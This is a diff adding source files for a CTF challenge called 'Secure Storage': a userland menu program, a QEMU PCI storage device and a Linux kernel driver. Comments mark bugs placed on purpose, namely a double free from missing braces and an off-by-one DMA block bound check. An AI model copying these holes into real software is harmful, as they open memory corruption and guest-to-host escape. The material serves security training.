+ if (!global_user_registered) { + printf("Error: user have not registered\n"); + return; + } + + printf("Which slot ?\n"); + int slot_index = readint(); + if (!((1 <= slot_index) && (slot_index < STORAGE_SLOT_COUNT))) { + printf("Error: slot index out of range\n"); + return; + } + + printf("Input your key:\n"); + readlinen(buf, KEY_LEN + 1); + if (strlen(buf) != KEY_LEN) { + printf("Error: key length error\n"); + return; + } + if (!check_valid_key(buf)) { + printf("Error: key contains illegal char\n"); + return; + } + + void *slot_memory = mmap_storage_slot(slot_index); + if (slot_memory == NULL) { + printf("Error: cannot open storage\n"); + return; + } + + unsigned long message_len = *((unsigned long *)slot_memory); + printf("Checking...\n"); + if (my_memcmp((unsigned char *)slot_memory+sizeof(unsigned long)+message_len, buf, KEY_LEN) != 0) { + printf("Error: key error\n"); + unmmap_storage_slot(slot_memory); + return; + } + printf("Pass check\n"); + + printf("Your data is "); + write(1, (char *)slot_memory+sizeof(unsigned long), message_len); + printf("\n"); + + unmmap_storage_slot(slot_memory); + + printf("Finish\n"); +} + +// menu 4. (admin only) kick out last registered user +void kick_out_last_registered_user(void) { + char buf[KEY_LEN + 1] = {0}; + + printf("Input admin key:\n"); + readlinen(buf, KEY_LEN + 1); + if (strlen(buf) != KEY_LEN) { + printf("Error: key length error\n"); + return; + } + if (!check_valid_key(buf)) { + printf("Error: key contains illegal char\n"); + return; + } + + void *slot_memory = mmap_storage_slot(0); + if (slot_memory == NULL) { + printf("Error: cannot open storage\n"); + return; + } + + unsigned long message_len = *((unsigned long *)slot_memory); + printf("Checking...\n"); + if (my_memcmp((unsigned char *)slot_memory+sizeof(unsigned long)+message_len, buf, KEY_LEN) != 0) { + printf("Error: key error\n"); + unmmap_storage_slot(slot_memory); + return; + } + printf("Pass check\n"); + + printf("Last registered user is "); + write(1, (char *)slot_memory+sizeof(unsigned long), message_len); + printf("\n"); + + // XXX vuln here: forget the braces, so if key check passed, here can double free + if (global_user_registered) // { + global_user_registered = 0; + free(global_username); + // } + + unmmap_storage_slot(slot_memory); + + printf("User kicked out\n"); +} + +int main(void) { + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); + + // avoid run multiple processes of this program + //int lockfd = open("/challenge/ss_agent.lock", O_RDWR); + int lockfd = open("/challenge/ss_agent", O_RDONLY); + if (lockfd < 0) { + printf("Error: open lock file error\n"); + return 0; + } + //int r = lockf(lockfd, F_TLOCK, 0); + int r = flock(lockfd, LOCK_EX | LOCK_NB); + if (r < 0) { + printf("Error: another ss_agent is running\n"); + return 0; + } + + int fd = open("/challenge/admin_key.txt", O_RDONLY); + if (fd < 0) { + printf("Error: open admin key file error\n"); + goto end; + } + read(fd, global_admin_key, KEY_LEN); + close(fd); + + printf("This is user mode agent program for Secure Storage !\n"); + printf("What do you want to do ?\n"); + while (1) { + show_menu(); + printf("Input your choice:\n"); + int choose = readint(); + switch (choose) { + case 1: + register_user(); + break; + case 2: + store_my_data(); + break; + case 3: + retrieve_my_data(); + break; + case 4: + kick_out_last_registered_user(); + break; + case 5: + goto end; + break; + default: + printf("Error: invalid choose\n"); + } + printf("\n"); + } +end: + //lockf(lockfd, F_ULOCK, 0); + flock(lockfd, LOCK_UN); + close(lockfd); + return 0; +} + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_device.c b/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_device.c new file mode 100644 index 0000000..8429116 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_device.c @@ -0,0 +1,387 @@ +#include "qemu/osdep.h" +#include "qemu/units.h" +#include "hw/pci/pci.h" +#include "hw/hw.h" +#include "hw/pci/msi.h" +#include "qemu/timer.h" +#include "qemu/module.h" + + +//#define DEBUG 1 + + +#define TYPE_PCI_SS_DEVICE "ss" +#define SS(obj) OBJECT_CHECK(SSState, obj, TYPE_PCI_SS_DEVICE) + +#define SS_DEVICE_ID 0x7373 + +//#define DMA_START 0x40000 +//#define DMA_SIZE 4096 + +#define SS_DEVICE_BLOCK_COUNT 256 +#define SS_DEVICE_BLOCK_SIZE 4096 + +#define SS_MMIO_OFFSET_MAGIC 0x0 +#define SS_MMIO_OFFSET_STATUS 0x10 +#define SS_MMIO_OFFSET_COMMAND 0x18 +#define SS_MMIO_OFFSET_DMA_BLOCKNUM 0x20 +#define SS_MMIO_OFFSET_DMA_PHYADDR 0x28 + +#define SS_STATUS_MASK 0xf +#define SS_SUBSTATUS_MASK 0xf0 + +#define SS_STATUS_OFF 0x0 +#define SS_STATUS_NORMAL 0x1 +#define SS_STATUS_BUSY 0x2 +#define SS_STATUS_DMA_PREPARE 0x3 +#define SS_STATUS_DMA_COMPLETE 0x4 +#define SS_SUBSTATUS_DMA_COMPLETE_SUCCESS 0x10 +#define SS_SUBSTATUS_DMA_COMPLETE_ERROR 0x20 + +#define SS_CMD_MASK 0xf +#define SS_SUBCMD_MASK 0xf0 + +#define SS_CMD_TO_NORMAL 0x1 +#define SS_CMD_PREPARE_DMA 0x2 +#define SS_CMD_START_DMA 0x3 +#define SS_SUBCMD_START_DMA_TO_DEVICE 0x10 +#define SS_SUBCMD_START_DMA_FROM_DEVICE 0x20 + +typedef struct BackendStorageType_ BackendStorageType; +struct BackendStorageType_ { + __attribute__((aligned(SS_DEVICE_BLOCK_SIZE))) unsigned char blocks[SS_DEVICE_BLOCK_COUNT][SS_DEVICE_BLOCK_SIZE]; + void (*reset_func)(BackendStorageType *bs); + void (*read_func)(BackendStorageType *bs, unsigned int blocknum, void *buf); + void (*write_func)(BackendStorageType *bs, unsigned int blocknum, const void *buf); +}; + +typedef struct { + PCIDevice pdev; + MemoryRegion mmio; + + QemuMutex status_mutex; + uint64_t status; + + struct dma_state { + uint64_t subcmd; + uint64_t blocknum; + dma_addr_t paddr; + } dma; + QEMUTimer dma_timer; + + BackendStorageType storage; +} SSState; + +// ------------------------------------- + +#define FEISTEL_K 16 +#define ROL64(x, n) (((x) << (n)) | ((x) >> (64 - (n)))) + +static void storage_internal_encrypt(void *dst, const void *src, unsigned int len) { + unsigned int i; + unsigned int j; + unsigned long long left; + unsigned long long right; + unsigned long long oldright; + for (i = 0; i < len / 16; i++) { + memcpy(&left, ((const unsigned char *)src)+16*i, 8); // memory may be unaligned + memcpy(&right, ((const unsigned char *)src)+16*i+8, 8); + for (j = 0; j < FEISTEL_K; j++) { // feistel + oldright = right; + right = left ^ ROL64(right ^ 0x73706f3073706f30, 7); + left = oldright; + } + memcpy(((unsigned char *)dst)+16*i, &right, 8); + memcpy(((unsigned char *)dst)+16*i+8, &left, 8); + } +} + +static void storage_internal_decrypt(void *dst, const void *src, unsigned int len) { + unsigned int i; + unsigned int j; + unsigned long long left; + unsigned long long right; + unsigned long long oldright; + for (i = 0; i < len / 16; i++) { + memcpy(&left, ((const unsigned char *)src)+16*i, 8); // memory may be unaligned + memcpy(&right, ((const unsigned char *)src)+16*i+8, 8); + for (j = 0; j < FEISTEL_K; j++) { // feistel + oldright = right; + right = left ^ ROL64(right ^ 0x73706f3073706f30, 7); + left = oldright; + } + memcpy(((unsigned char *)dst)+16*i, &right, 8); + memcpy(((unsigned char *)dst)+16*i+8, &left, 8); + } +} + + +static void storage_reset(BackendStorageType *storage) { + unsigned long i; + __attribute__((aligned(SS_DEVICE_BLOCK_SIZE))) static unsigned char zeroblock[SS_DEVICE_BLOCK_SIZE] = {0}; + for (i = 0; i < SS_DEVICE_BLOCK_COUNT; i++) { + storage_internal_encrypt(&storage->blocks[i], zeroblock, SS_DEVICE_BLOCK_SIZE); + } +} + +static void storage_read(BackendStorageType *storage, unsigned int blocknum, void *buf) { + storage_internal_decrypt(buf, &storage->blocks[blocknum], SS_DEVICE_BLOCK_SIZE); +} + +static void storage_write(BackendStorageType *storage, unsigned int blocknum, const void *buf) { + storage_internal_encrypt(&storage->blocks[blocknum], buf, SS_DEVICE_BLOCK_SIZE); +} + +// ------------------------------------- + +static void ss_dma_timer(void *opaque) { + SSState *ss = (SSState *)opaque; + unsigned char buf[SS_DEVICE_BLOCK_SIZE] = {0}; + BackendStorageType *storage = &ss->storage; + uint64_t subcmd = ss->dma.subcmd; // prevent TOCTTOU + uint64_t blocknum = ss->dma.blocknum; + uint64_t paddr = ss->dma.paddr; + uint64_t new_status; + +#ifdef DEBUG + printf("ss_dma_timer start, subcmd: %lx, blocknum: %lx, paddr: %lx\n", subcmd, blocknum, paddr); +#endif + // do check + if (!(subcmd == SS_SUBCMD_START_DMA_TO_DEVICE || subcmd == SS_SUBCMD_START_DMA_FROM_DEVICE) + || !(blocknum <= SS_DEVICE_BLOCK_COUNT)) { // XXX: vuln! here should be "<", should not be "<=" + new_status = SS_STATUS_DMA_COMPLETE | SS_SUBSTATUS_DMA_COMPLETE_ERROR; + // error + goto finish; + } + + // do dma + if (subcmd == SS_SUBCMD_START_DMA_TO_DEVICE) { // device get data from memory + pci_dma_read(PCI_DEVICE(ss), paddr, buf, SS_DEVICE_BLOCK_SIZE); // only allow read/write one block once +#ifdef DEBUG + printf("ss_dma_timer SS_SUBCMD_START_DMA_TO_DEVICE, buf: %lx %lx %lx %lx\n", *(uint64_t *)buf, *(uint64_t *)(buf+8), *(uint64_t *)(buf+16), *(uint64_t *)(buf+24)); +#endif + storage->write_func(storage, blocknum, buf); + } + else if(subcmd == SS_SUBCMD_START_DMA_FROM_DEVICE) { // device store data into memory + storage->read_func(storage, blocknum, buf); +#ifdef DEBUG + printf("ss_dma_timer SS_SUBCMD_START_DMA_FROM_DEVICE, buf: %lx %lx %lx %lx\n", *(uint64_t *)buf, *(uint64_t *)(buf+8), *(uint64_t *)(buf+16), *(uint64_t *)(buf+24)); +#endif + pci_dma_write(PCI_DEVICE(ss), paddr, buf, SS_DEVICE_BLOCK_SIZE); + //cpu_physical_memory_write(paddr, buf, SS_DEVICE_BLOCK_SIZE); + } + new_status = SS_STATUS_DMA_COMPLETE | SS_SUBSTATUS_DMA_COMPLETE_SUCCESS; + +finish: + // raise irq and update status + qemu_mutex_lock(&ss->status_mutex); // to protect status change + ss->status = new_status; + qemu_mutex_unlock(&ss->status_mutex); + msi_notify(PCI_DEVICE(ss), 0); // still raise irq, even error occurs +} + +static void ss_handle_cmd(SSState *ss, uint64_t cmd) { + + qemu_mutex_lock(&ss->status_mutex); // to protect status change + +#ifdef DEBUG + printf("ss_handle_cmd cmd: %lx\n", cmd); +#endif + + uint64_t main_status = ss->status & SS_STATUS_MASK; + uint64_t main_cmd = cmd & SS_CMD_MASK; + uint64_t sub_cmd = cmd & SS_SUBCMD_MASK; + +#ifdef DEBUG + printf("ss_handle_cmd main_status: %lx, main_cmd: %lx, sub_cmd: %lx\n", main_status, main_cmd, sub_cmd); +#endif + + switch (main_cmd) { + case SS_CMD_TO_NORMAL: + if (main_status == SS_STATUS_BUSY) { + break; + } + ss->status = SS_STATUS_NORMAL; + break; + case SS_CMD_PREPARE_DMA: +#ifdef DEBUG + printf("ss_handle_cmd SS_CMD_PREPARE_DMA status: %lx\n", main_status); +#endif + if (main_status != SS_STATUS_NORMAL) { + break; + } + ss->status = SS_STATUS_DMA_PREPARE; +#ifdef DEBUG + printf("ss_handle_cmd SS_CMD_PREPARE_DMA new status: %lx\n", ss->status); +#endif + break; + case SS_CMD_START_DMA: + if (main_status != SS_STATUS_DMA_PREPARE) { + break; + } + ss->status = SS_STATUS_BUSY; + ss->dma.subcmd = sub_cmd; +#ifdef DEBUG + printf("ss_handle_cmd SS_CMD_START_DMA\n"); +#endif + timer_mod(&ss->dma_timer, qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL) + 5); + break; + } + + qemu_mutex_unlock(&ss->status_mutex); +} + +static void ss_handle_write_dma_state(SSState *ss, hwaddr addr, uint64_t val) { + qemu_mutex_lock(&ss->status_mutex); + if (ss->status == SS_STATUS_DMA_PREPARE) { + switch (addr) { + case SS_MMIO_OFFSET_DMA_BLOCKNUM: // dma block number + ss->dma.blocknum = val; + break; + case SS_MMIO_OFFSET_DMA_PHYADDR: // dma physical address + ss->dma.paddr = val; + break; + } + } + qemu_mutex_unlock(&ss->status_mutex); +} + +// ------------------------------------- + +static uint64_t ss_mmio_read(void *opaque, hwaddr addr, unsigned int size) { + SSState *ss = (SSState *)opaque; + uint64_t val = ~0ULL; + + if (size != 8) { + return val; + } + + switch (addr) { + case SS_MMIO_OFFSET_MAGIC: // magic const + val = 0x3132303246544330; + break; + case SS_MMIO_OFFSET_STATUS: // device status + val = ss->status; + break; + case SS_MMIO_OFFSET_DMA_BLOCKNUM: // dma block number + val = ss->dma.blocknum; + break; + case SS_MMIO_OFFSET_DMA_PHYADDR: // dma physical address + val = ss->dma.paddr; + break; + } + + return val; +} + +static void ss_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size) { + SSState *ss = (SSState *)opaque; + + if (size != 8) { + return; + } + + switch (addr) { + case SS_MMIO_OFFSET_COMMAND: // command + ss_handle_cmd(ss, val); + break; + case SS_MMIO_OFFSET_DMA_BLOCKNUM: // dma block number + case SS_MMIO_OFFSET_DMA_PHYADDR: // dma physical address + ss_handle_write_dma_state(ss, addr, val); + break; +#ifdef DEBUG + default: + printf("Error: ss_mmio_write: addr %lx, val %lx\n", addr, val); + break; +#endif + } +} + +static const MemoryRegionOps ss_mmio_ops = { + .read = ss_mmio_read, + .write = ss_mmio_write, + .endianness = DEVICE_NATIVE_ENDIAN, + .valid = { + .min_access_size = 4, + .max_access_size = 8, + }, + .impl = { + .min_access_size = 4, + .max_access_size = 8, + }, +}; + +// ------------------------------------- + +static void pci_ss_realize(PCIDevice *pdev, Error **errp) { + SSState *ss = SS(pdev); + uint8_t *pci_conf = pdev->config; + BackendStorageType *storage = &ss->storage; + + storage->reset_func(storage); + + pci_config_set_interrupt_pin(pci_conf, 1); + if (msi_init(pdev, 0, 1, true, false, errp)) { + return; + } + + qemu_mutex_init(&ss->status_mutex); + timer_init_ms(&ss->dma_timer, QEMU_CLOCK_VIRTUAL, ss_dma_timer, ss); + + memory_region_init_io(&ss->mmio, OBJECT(ss), &ss_mmio_ops, ss, "ss-mmio", 1 * MiB); + pci_register_bar(pdev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &ss->mmio); + +} + +static void pci_ss_uninit(PCIDevice *pdev) { + SSState *ss = SS(pdev); + timer_del(&ss->dma_timer); + qemu_mutex_destroy(&ss->status_mutex); + msi_uninit(pdev); +} + +// ------------------------------------- + +static void ss_instance_init(Object *obj) { + SSState *ss = SS(obj); + + BackendStorageType *storage = &ss->storage; + storage->reset_func = storage_reset; + storage->read_func = storage_read; + storage->write_func = storage_write; +} + +static void ss_class_init(ObjectClass *class, void *data) { + DeviceClass *dc = DEVICE_CLASS(class); + PCIDeviceClass *k = PCI_DEVICE_CLASS(class); + k->realize = pci_ss_realize; + k->exit = pci_ss_uninit; + k->vendor_id = PCI_VENDOR_ID_QEMU; + k->device_id = SS_DEVICE_ID; + k->revision = 0x73; + k->class_id = PCI_CLASS_OTHERS; + set_bit(DEVICE_CATEGORY_MISC, dc->categories); +} + +// ------------------------------------- + +static void pci_ss_register_types(void) { + static InterfaceInfo interfaces[] = { + { INTERFACE_CONVENTIONAL_PCI_DEVICE }, + { }, + }; + + static const TypeInfo ss_info = { + .name = TYPE_PCI_SS_DEVICE, + .parent = TYPE_PCI_DEVICE, + .instance_size = sizeof(SSState), + .instance_init = ss_instance_init, + .class_init = ss_class_init, + .interfaces = interfaces, + }; + + type_register_static(&ss_info); +} + +type_init(pci_ss_register_types) + diff --git a/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_driver.c b/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_driver.c new file mode 100644 index 0000000..45d1950 --- /dev/null +++ b/0CTF_TCTF-2021-Quals/Secure Storage/src/ss_driver.c @@ -0,0 +1,689 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); + +//#define DEBUG 1 +#define SIMULATION 0 + + +#define DEVICE_NAME "ss" + +#define DEVICE_BLOCK_SIZE PAGE_SIZE + +#define STORAGE_SLOT_COUNT (16) +#define STORAGE_SLOT_SIZE (16*PAGE_SIZE) + +#define ROL64(x, n) (((x) << (n)) | ((x) >> (64 - (n)))) + +//#define BITMAP_TEST(bitmap, index) ( !!( (bitmap)[(index) / (sizeof((bitmap)[0])*8)] & (1 << ((index) % (sizeof((bitmap)[0])*8))) ) ) +//#define BITMAP_SET(bitmap, index) ((bitmap)[(index)/(sizeof((bitmap)[0])*8)] |= 1<<((index)%(sizeof((bitmap)[0])*8))) +//#define BITMAP_CLEAR(bitmap, index) ((bitmap)[(index)/(sizeof((bitmap)[0])*8)] &= ~(1<<((index)%(sizeof((bitmap)[0])*8)))) +#define BITMAP_TEST(bitmap, index) ( !!( ((unsigned char *)(bitmap))[(index) >> 3] & (1 << ((index) & 7)) ) ) +#define BITMAP_SET(bitmap, index) (((unsigned char*)(bitmap))[(index) >> 3] |= 1<<((index) & 7)) +#define BITMAP_CLEAR(bitmap, index) (((unsigned char*)(bitmap))[(index) >> 3] &= ~(1<<((index) & 7))) + +struct storage_slot_info { + unsigned long slot_index; + spinlock_t slot_index_lock; +}; + +#define storage_cache (global_storage_cache_manager.storage_cache_) +#define storage_cache_page_dirty_bitmap (global_storage_cache_manager.storage_cache_page_dirty_bitmap_) + +// page cache and other metadata +// use struct to force them continues in memory ! +struct storage_cache_manager_struct { + __attribute__((aligned(PAGE_SIZE))) unsigned char storage_cache_[STORAGE_SLOT_COUNT][STORAGE_SLOT_SIZE]; + unsigned char storage_cache_page_dirty_bitmap_[STORAGE_SLOT_COUNT*STORAGE_SLOT_SIZE/PAGE_SIZE/sizeof(unsigned char)]; +} static global_storage_cache_manager; + +static unsigned int storage_slot_reference_count[STORAGE_SLOT_COUNT]; +static struct mutex storage_slot_lock[STORAGE_SLOT_COUNT]; + +// ============================================================================ + + +#if SIMULATION + + +// simulation of hardware: read/write by block, auto decrypt/encrypt internel rom + +// simulation of hardware storage +__attribute__((aligned(DEVICE_BLOCK_SIZE))) static unsigned char storage[STORAGE_SLOT_COUNT*STORAGE_SLOT_SIZE]; + +#define FEISTEL_K 65536 + +static unsigned char __initdata zeropage[DEVICE_BLOCK_SIZE]; + +static void storage_internal_encrypt(void *dst, void *src, unsigned int len) { + unsigned int i; + unsigned int j; + unsigned long long left; + unsigned long long right; + unsigned long long oldright; + for (i = 0; i < len / 16; i++) { + memcpy(&left, ((unsigned char *)src)+16*i, 8); // memory may be unaligned + memcpy(&right, ((unsigned char *)src)+16*i+8, 8); + for (j = 0; j < FEISTEL_K; j++) { // feistel + oldright = right; + right = left ^ ROL64(right ^ 0x73706f3073706f30, 7); + left = oldright; + } + memcpy(((unsigned char *)dst)+16*i, &right, 8); + memcpy(((unsigned char *)dst)+16*i+8, &left, 8); + } +} + +static void storage_internal_decrypt(void *dst, void *src, unsigned int len) { + unsigned int i; + unsigned int j; + unsigned long long left; + unsigned long long right; + unsigned long long oldright; + for (i = 0; i < len / 16; i++) { + memcpy(&left, ((unsigned char *)src)+16*i, 8); // memory may be unaligned + memcpy(&right, ((unsigned char *)src)+16*i+8, 8); + for (j = 0; j < FEISTEL_K; j++) { // feistel + oldright = right; + right = left ^ ROL64(right ^ 0x73706f3073706f30, 7); + left = oldright; + } + memcpy(((unsigned char *)dst)+16*i, &right, 8); + memcpy(((unsigned char *)dst)+16*i+8, &left, 8); + } +} + +static void __init zerostorage(void) { + unsigned long i; + //unsigned char *zeropage; + //zeropage = kzalloc(DEVICE_BLOCK_SIZE, GFP_KERNEL); + //if (zeropage == NULL) { + // return; + //} + storage_internal_encrypt(((unsigned char *)(&storage))+0*DEVICE_BLOCK_SIZE, zeropage, DEVICE_BLOCK_SIZE); + //kfree(zeropage); + for (i = 1; i < STORAGE_SLOT_COUNT*STORAGE_SLOT_SIZE/DEVICE_BLOCK_SIZE; i++) { + memcpy(((unsigned char *)(&storage))+i*DEVICE_BLOCK_SIZE, &storage, DEVICE_BLOCK_SIZE); + } +} + +static void readblock(unsigned long blocknum, void *buf) { + // simulation: interact with device + storage_internal_decrypt(buf, ((unsigned char *)(&storage))+blocknum*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE); +} + +static void writeblock(unsigned long blocknum, void *buf) { + // simulation: interact with device + storage_internal_encrypt(((unsigned char *)(&storage))+blocknum*DEVICE_BLOCK_SIZE, buf, DEVICE_BLOCK_SIZE); +} + + +// ------------------------------------- + + +#else + + +// https://www.kernel.org/doc/Documentation/PCI/pci.txt + +#define QEMU_VENDOR_ID 0x1234 +#define SS_DEVICE_ID 0x7373 + +#define SS_PCI_BAR_MMIO 0 + + +#define SS_MMIO_OFFSET_MAGIC 0x0 +#define SS_MMIO_OFFSET_STATUS 0x10 +#define SS_MMIO_OFFSET_COMMAND 0x18 +#define SS_MMIO_OFFSET_DMA_BLOCKNUM 0x20 +#define SS_MMIO_OFFSET_DMA_PHYADDR 0x28 + +#define SS_STATUS_MASK 0xf +#define SS_SUBSTATUS_MASK 0xf0 + +#define SS_STATUS_OFF 0x0 +#define SS_STATUS_NORMAL 0x1 +#define SS_STATUS_BUSY 0x2 +#define SS_STATUS_DMA_PREPARE 0x3 +#define SS_STATUS_DMA_COMPLETE 0x4 +#define SS_SUBSTATUS_DMA_COMPLETE_SUCCESS 0x10 +#define SS_SUBSTATUS_DMA_COMPLETE_ERROR 0x20 + +#define SS_CMD_MASK 0xf +#define SS_SUBCMD_MASK 0xf0 + +#define SS_CMD_TO_NORMAL 0x1 +#define SS_CMD_PREPARE_DMA 0x2 +#define SS_CMD_START_DMA 0x3 +#define SS_SUBCMD_START_DMA_TO_DEVICE 0x10 // device read, cpu write +#define SS_SUBCMD_START_DMA_FROM_DEVICE 0x20 // device write, cpu read + + +// real hardware, handle dma and interrupt + +static struct pci_dev *ss_pdev; +static void __iomem *ss_mmio; + +// https://www.cnblogs.com/noaming1900/archive/2011/01/14/1935526.html +// https://www.cnblogs.com/zhuyp1015/archive/2012/06/09/2542882.html +// https://www.lenzhao.com/topic/5a5c87d6bedc2a8b075a6058 +static DECLARE_WAIT_QUEUE_HEAD(wait_for_device_idle); +static DECLARE_WAIT_QUEUE_HEAD(wait_for_interrupt); +static bool device_is_idle; +static bool device_irq_occured; + +static irqreturn_t irq_handler_0(int irq, void *dev_id) { +#ifdef DEBUG + printk(KERN_INFO "(irq_handler): Called\n"); +#endif + device_irq_occured = true; + wake_up(&wait_for_interrupt); + return IRQ_HANDLED; +} + +static int readwriteblock(unsigned long blocknum, void *buf, bool iswrite) { + // TODO + //__attribute__((aligned(4096))) static char b[4096]; + //dma_addr_t daddr = dma_map_page(&(ss_pdev->dev), virt_to_page(b), 0, 4096, 0); + int result = 0; + u64 r_status; + dma_addr_t daddr; + void *pdaddr; + int ret; + + // only one process can use the device at same time + do { + ret = wait_event_interruptible(wait_for_device_idle, device_is_idle); + // here, device_is_idle must be true + // for the first process, the __atomic_exchange_n will set device_is_idle to false and return true, this breaks the while condition + // but for other processes, the __atomic_exchange_n will set device_is_idle to false and also return false, then start to wait in next loop turn + } while (!__atomic_exchange_n(&device_is_idle, false, __ATOMIC_RELAXED)); + // signal http://blog.sina.com.cn/s/blog_4770ef020101h45d.html + if (ret < 0) { // -ERESTARTSYS +#ifdef DEBUG + printk(KERN_ERR "readwriteblock: wake up by signal"); +#endif + device_is_idle = true; + wake_up_interruptible(&wait_for_device_idle); + result = ret; + goto finish; + } + if (readq(ss_mmio + SS_MMIO_OFFSET_STATUS) != SS_STATUS_NORMAL) { +#ifdef DEBUG + printk(KERN_ERR "readwriteblock: impossible error !"); +#endif + device_is_idle = true; + wake_up_interruptible(&wait_for_device_idle); + result = 1; + goto finish; + } + writeq(SS_CMD_PREPARE_DMA, ss_mmio + SS_MMIO_OFFSET_COMMAND); + + pdaddr = dma_alloc_coherent(&(ss_pdev->dev), DEVICE_BLOCK_SIZE, &daddr, GFP_KERNEL); + if (pdaddr == NULL) { + result = 0; + goto finish; + } + if (iswrite) { + memcpy(pdaddr, buf, DEVICE_BLOCK_SIZE); + } +#ifdef DEBUG + printk(KERN_INFO "readwriteblock test vaddr: %llx, paddr: %llx, busaddr: %llx, daddr: %llx\n", (uint64_t)pdaddr, virt_to_phys(pdaddr), virt_to_bus(pdaddr), daddr); +#endif + writeq(blocknum, ss_mmio + SS_MMIO_OFFSET_DMA_BLOCKNUM); + writeq(daddr, ss_mmio + SS_MMIO_OFFSET_DMA_PHYADDR); + writeq(SS_CMD_START_DMA|(iswrite ? SS_SUBCMD_START_DMA_TO_DEVICE : SS_SUBCMD_START_DMA_FROM_DEVICE), ss_mmio + SS_MMIO_OFFSET_COMMAND); + + device_irq_occured = false; + wait_event(wait_for_interrupt, device_irq_occured); + + while (1) { + r_status = readq(ss_mmio + SS_MMIO_OFFSET_STATUS); + if ((r_status & SS_STATUS_MASK) == SS_STATUS_DMA_COMPLETE) { + break; + } + } + +#ifdef DEBUG + printk(KERN_INFO "readwriteblock result: %llx, %llx, %llx, %llx\n", *(uint64_t *)pdaddr, *(uint64_t *)(pdaddr+8), *(uint64_t *)(pdaddr+16), *(uint64_t *)(pdaddr+24)); +#endif + + writeq(SS_CMD_TO_NORMAL, ss_mmio + SS_MMIO_OFFSET_COMMAND); + device_is_idle = true; + wake_up_interruptible(&wait_for_device_idle); // wake up extract one waiting proeess + + if ((r_status & SS_SUBSTATUS_MASK) == SS_SUBSTATUS_DMA_COMPLETE_SUCCESS) { + if (!iswrite) { + memcpy(buf, pdaddr, DEVICE_BLOCK_SIZE); + } + result = 0; + } + else { + result = 1; + } + + dma_free_coherent(&(ss_pdev->dev), DEVICE_BLOCK_SIZE, pdaddr, daddr); + //dma_unmap_page(&(ss_pdev->dev), daddr, 4096, 0); + +finish: + return result; +} + +static int readblock(unsigned long blocknum, void *buf) { +#ifdef DEBUG + printk(KERN_INFO "readblock: %lx\n", blocknum); +#endif + return readwriteblock(blocknum, buf, false); +} + +static int writeblock(unsigned long blocknum, void *buf) { +#ifdef DEBUG + printk(KERN_INFO "writeblock: %lx\n", blocknum); +#endif + return readwriteblock(blocknum, buf, true); +} + +#endif + + +// ============================================================================ + +static int dev_open(struct inode *inodep, struct file *filep) { + struct storage_slot_info *info; +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device opened inode %lx file %lx\n", (unsigned long)inodep, (unsigned long)filep); +#endif + info = (struct storage_slot_info *)kzalloc(sizeof(struct storage_slot_info), GFP_KERNEL); + if (info == NULL) { + return -ENOMEM; + } + info->slot_index = -1; + spin_lock_init(&info->slot_index_lock); + filep->private_data = info; + + return 0; +} + +static int dev_release(struct inode *inodep, struct file *filep) { + struct storage_slot_info *info; + unsigned long slot_index; + unsigned int i; + unsigned int bitmap_index; +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device released inode %lx file %lx\n", (unsigned long)inodep, (unsigned long)filep); +#endif + info = (struct storage_slot_info *)filep->private_data; + spin_lock(&info->slot_index_lock); + slot_index = info->slot_index; + spin_unlock(&info->slot_index_lock); + kfree(info); + +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device released slot_index %lx\n", slot_index); +#endif + if (slot_index == -1) { + return 0; + } + + // write storage_cache back to storage + mutex_lock(&storage_slot_lock[slot_index]); + storage_slot_reference_count[slot_index] -= 1; +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device released storage_slot_reference_count %x\n", storage_slot_reference_count[slot_index]); +#endif + if (storage_slot_reference_count[slot_index] == 0) { + for (i = 0; i < STORAGE_SLOT_SIZE/PAGE_SIZE; i++) { + bitmap_index = slot_index*(STORAGE_SLOT_SIZE/PAGE_SIZE)+i; + if (BITMAP_TEST(storage_cache_page_dirty_bitmap, bitmap_index)) { + // here, assert PAGE_SIZE == DEVICE_BLOCK_SIZE !! + if (writeblock(bitmap_index, &storage_cache[slot_index][i*PAGE_SIZE]) != 0) { +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device released writeblock error\n"); +#endif + mutex_unlock(&storage_slot_lock[slot_index]); + return -EIO; + } + BITMAP_CLEAR(storage_cache_page_dirty_bitmap, bitmap_index); + } + } + } + mutex_unlock(&storage_slot_lock[slot_index]); + + return 0; +} + +static long dev_ioctl(struct file *filep, unsigned int request, unsigned long data) { + unsigned long slot_index; + unsigned long old_slot_index; + struct storage_slot_info *info; +#ifdef DEBUG + printk(KERN_INFO "secure_storage: device ioctl %x %lu\n", request, data); +#endif + switch (request) { // ioctl request should have special format. here just ignore it + //case 0x73706f30: + case 0: // TODO change the const + slot_index = data; + if (slot_index >= STORAGE_SLOT_COUNT) { + return -EINVAL; + } + + info = (struct storage_slot_info *)filep->private_data; + + mutex_lock(&storage_slot_lock[slot_index]); + spin_lock(&info->slot_index_lock); + + old_slot_index = info->slot_index; + if (old_slot_index != -1) { + spin_unlock(&info->slot_index_lock); + mutex_unlock(&storage_slot_lock[slot_index]); + return -EINVAL; + } + + if (storage_slot_reference_count[slot_index] == 0xffffffff) { + spin_unlock(&info->slot_index_lock); + mutex_unlock(&storage_slot_lock[slot_index]); + return -EPERM; + } + + storage_slot_reference_count[slot_index] += 1; + info->slot_index = slot_index; + + spin_unlock(&info->slot_index_lock); + mutex_unlock(&storage_slot_lock[slot_index]); + + break; + default: + return -EINVAL; + + } + return 0; +} + +// ------------------------------------- + +/* +static void vma_open(struct vm_area_struct *vma) { + printk(KERN_INFO "secure_storage: vma_open, virt %lx, phys %lx\n, end %lx\n", vma->vm_start, vma->vm_pgoff << PAGE_SHIFT, vma->vm_end); +} + +static void vma_close(struct vm_area_struct *vma) { + printk(KERN_INFO "secure_storage: vma_close, virt %lx, phys %lx\n, end %lx\n", vma->vm_start, 